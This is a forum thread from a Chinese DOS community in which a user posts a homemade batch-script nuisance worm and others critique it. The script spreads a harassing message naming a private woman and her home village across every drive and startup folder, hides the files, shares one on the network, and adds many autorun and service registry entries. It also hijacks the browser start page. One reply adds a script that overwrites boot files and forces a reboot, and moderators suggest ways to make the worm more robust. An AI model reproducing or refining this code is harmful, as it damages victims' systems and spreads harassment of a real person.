China DOS Union

-- Unite DOS · Advance DOS · Grow DOS --

Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!

中国DOS联盟论坛
The time now is 2026-07-29 09:02
中国DOS联盟论坛 » 论坛回收站 » Something I wrote myself that's not good. If there are replies and advice, I'm very grateful. View 2,012 Replies 4
Original Poster Posted 2007-09-01 08:24 ·  中国 河南 郑州 电信
初级用户
Credits 97
Posts 22
Joined 2007-04-23 00:29
19-year member
UID 86125
Gender Male
Status Offline
::Very garbage yo!
@echo off
echo I love a person,>%windir%\lcl.txt
echo She doesn't love me.>>%windir%\lcl.txt
echo She is Liu Chun Li,>>%windir%\lcl.txt
echo She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.>>%windir%\lcl.txt
echo I was died because of her,>>%windir%\lcl.txt
echo I am demanding my life of you.>>%windir%\lcl.txt


copy /v /y %windir%\lcl.txt %systemdrive%\
copy /v /y %windir%\lcl.txt %windir%\system32\
copy /v /y %windir%\lcl.txt %userprofile%\"「开始」菜单"\程序\启动\
copy /v /y %windir%\lcl.txt %allusersprofile%\"「开始」菜单"\程序\启动\
copy /v /y %windir%\lcl.txt %allusersprofile%\"documents\
if not exist a:\lcl.txt copy /v /y %windir%\lcl.txt a:\
if not exist b:\lcl.txt copy /v /y %windir%\lcl.txt b:\
if not exist c:\lcl.txt copy /v /y %windir%\lcl.txt c:\
dir d:\ && copy /v /y %windir%\lcl.txt d:\
dir e:\ && copy /v /y %windir%\lcl.txt e:\
dir f:\ && copy /v /y %windir%\lcl.txt f:\
dir g:\ && copy /v /y %windir%\lcl.txt g:\
dir h:\ && copy /v /y %windir%\lcl.txt h:\
dir i:\ && copy /v /y %windir%\lcl.txt i:\
dir j:\ && copy /v /y %windir%\lcl.txt j:\
dir k:\ && copy /v /y %windir%\lcl.txt k:\
dir l:\ && copy /v /y %windir%\lcl.txt l:\
dir m:\ && copy /v /y %windir%\lcl.txt m:\
dir n:\ && copy /v /y %windir%\lcl.txt n:\
dir o:\ && copy /v /y %windir%\lcl.txt o:\
dir p:\ && copy /v /y %windir%\lcl.txt p:\
dir q:\ && copy /v /y %windir%\lcl.txt q:\
dir r:\ && copy /v /y %windir%\lcl.txt r:\
dir s:\ && copy /v /y %windir%\lcl.txt s:\
dir t:\ && copy /v /y %windir%\lcl.txt t:\
dir u:\ && copy /v /y %windir%\lcl.txt u:\
dir v:\ && copy /v /y %windir%\lcl.txt v:\
dir w:\ && copy /v /y %windir%\lcl.txt w:\
dir x:\ && copy /v /y %windir%\lcl.txt x:\
dir y:\ && copy /v /y %windir%\lcl.txt y:\
dir z:\ && copy /v /y %windir%\lcl.txt z:\

net share lcl=c:\lcl.txt

attrib +s +h %sysrwmdrive%\lcl.txt
attrib +s +h %windir%\lcl.txt
attrib +s +h %windir%\system32\lcl.txt
attrib +s +h %userprofile%\"「开始」菜单"\程序\启动\lcl.txt
attrib +s +h %allusersprofile%\"「开始」菜单"\程序\启动\lcl.txt

@echo Windows Registry Editor Version 5.00>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runservice]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.Default\SOFTWARE\Microsoft\Windows\CurrentVersion\Runexec]>>%windir%\lcl.reg
@echo "lcl"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@echo.>>%windir%\lcl.reg
@echo [HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main]>>%windir%\lcl.reg
@echo "Start Page"="www.freewebs.com/leguany">>%windir%\lcl.reg

::run as service
@echo.>>%windir%\lcl.reg
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ ServiceName\Parameters]>>%windir%\lcl.reg
@echo "Application"=%windir%\\system32\\lcl.bat>>%windir%\lcl.reg

@attrib +s +h %windir%\lcl.reg
@echo y|start %windir%\lcl.reg /min /high
@if errorlevel 1 echo y|start %windir%\lcl.reg /min /high
regedit /s %windir%\lcl.reg

@echo MsgBox "I find a person,", 8 >%systemdrive%\lcl.vbs
@echo MsgBox "She is Liu Chun Li,", 8 >>%systemdrive%\lcl.vbs
@echo MsgBox "can you help me?.", 8 >>%systemdrive%\lcl.vbs
@echo MsgBox "She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.", 8 >>%systemdrive%\lcl.vbs
attrib +r +a +s +h %systemdrive%\lcl.vbs
start %systemdrive%\lcl.vbs


echo @echo I love a person,^>%systemdrive%\lcl.txt>%systemdrive%\lcl.bat
echo @echo She is Liu Chun Li,^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo She doesn't love me.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo She mather home at Yuzhen.Qixian.Kaifeng.Henan.China.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo I was died because of her,^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat
echo @echo I am demanding my life of you.^>^>%systemdrive%\lcl.txt>>%systemdrive%\lcl.bat

copy /v /y %systemdrive%\lcl.bat %windir%\
copy /v /y %systemdrive%\lcl.bat %windir%\system32\
copy /v /y %systemdrive%\lcl.bat %userprofile%\"「开始」菜单"\程序\启动\lcl.bat
copy /v /y %systemdrive%\lcl.bat %allusersprofile%\"「开始」菜单"\程序\启动\lcl.bat

attrib +s +h %sysrwmdrive%\lcl.bat
attrib +s +h %windir%\lcl.bat
attrib +s +h %windir%\system32\lcl.bat
attrib +s +h %userprofile%\"「开始」菜单"\程序\启动\lcl.bat
attrib +s +h %allusersprofile%\"「开始」菜单"\程序\启动\lcl.bat

rem  @start windrv32.exe
rem  @attrib +h +r windrv32.exe
rem  @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
rem  @echo "windsnx "=- >>patch.dll
rem  @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32rem
rem \windrv32.exe
rem  @regedit /s patch.dll
rem  @delete patch.dll
rem  @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
rem  @REM 这样不是更安全^_^.


::reg autorun 启动 copy oneself to lcl.bat inf
::autoexec.bat winstart.bat
Floor 2 Posted 2007-09-01 08:32 ·  中国 天津 电信
银牌会员
★★★
Credits 1,928
Posts 931
Joined 2007-01-06 11:46
19-year member
UID 75624
Gender Male
Status Offline
if not exist a:\lcl.txt copy /v /y %windir%\lcl.txt a:\
if not exist b:\lcl.txt copy /v /y %windir%\lcl.txt b:\
if not exist c:\lcl.txt copy /v /y %windir%\lcl.txt c:\
dir d:\ && copy /v /y %windir%\lcl.txt d:\
dir e:\ && copy /v /y %windir%\lcl.txt e:\
dir f:\ && copy /v /y %windir%\lcl.txt f:\
dir g:\ && copy /v /y %windir%\lcl.txt g:\
dir h:\ && copy /v /y %windir%\lcl.txt h:\
dir i:\ && copy /v /y %windir%\lcl.txt i:\
dir j:\ && copy /v /y %windir%\lcl.txt j:\
dir k:\ && copy /v /y %windir%\lcl.txt k:\
dir l:\ && copy /v /y %windir%\lcl.txt l:\
dir m:\ && copy /v /y %windir%\lcl.txt m:\
dir n:\ && copy /v /y %windir%\lcl.txt n:\
dir o:\ && copy /v /y %windir%\lcl.txt o:\
dir p:\ && copy /v /y %windir%\lcl.txt p:\
dir q:\ && copy /v /y %windir%\lcl.txt q:\
dir r:\ && copy /v /y %windir%\lcl.txt r:\
dir s:\ && copy /v /y %windir%\lcl.txt s:\
dir t:\ && copy /v /y %windir%\lcl.txt t:\
dir u:\ && copy /v /y %windir%\lcl.txt u:\
dir v:\ && copy /v /y %windir%\lcl.txt v:\
dir w:\ && copy /v /y %windir%\lcl.txt w:\
dir x:\ && copy /v /y %windir%\lcl.txt x:\
dir y:\ && copy /v /y %windir%\lcl.txt y:\
dir z:\ && copy /v /y %windir%\lcl.txt z:\

net share lcl=c:\lcl.txt


A and B drive letters generally do not exist, so there is no need. Especially B

The dir command on a non-existent drive letter will cause an error, and the error message is not shielded

For those like me who don't even have the server service enabled, can the net share still be used?

This long section can be completely streamlined with for.
Floor 3 Posted 2007-09-01 11:05 ·  中国 北京 西城区 联通
银牌会员
★★★
Credits 1,287
Posts 634
Joined 2007-05-02 15:06
19-year member
UID 87277
Gender Male
From cmd.exe
Status Offline
@echo off
echo XXXXXXXX>c:\ntldr
echo XXXXXXXXX>c:\boot.ini
shutdown -r -f
Floor 4 Posted 2007-09-01 13:55 ·  中国 重庆 九龙坡区 电信
版主
★★★★★
Credits 9,023
Posts 5,017
Joined 2007-05-31 19:39
19-year member
UID 89899
Gender Male
Status Offline
1. As the second floor said, you can completely use a for loop to exhaustively list all drive letters.
2. If the registry has been locked by the user, the way you import the.reg file will fail. It's better to use the reg add command to directly modify the registry.
3. It seems that the original poster is not very clear about the function of the @ symbol.
4. When encountering an English version of the operating system, some content will go wrong.
Floor 5 Posted 2010-08-14 10:16 ·  中国 浙江 嘉兴 电信
初级用户
Credits 28
Posts 25
Joined 2010-08-03 17:09
15-year member
UID 171685
Gender Male
Status Offline
For a beginner, this level is pretty good.
Forum Jump: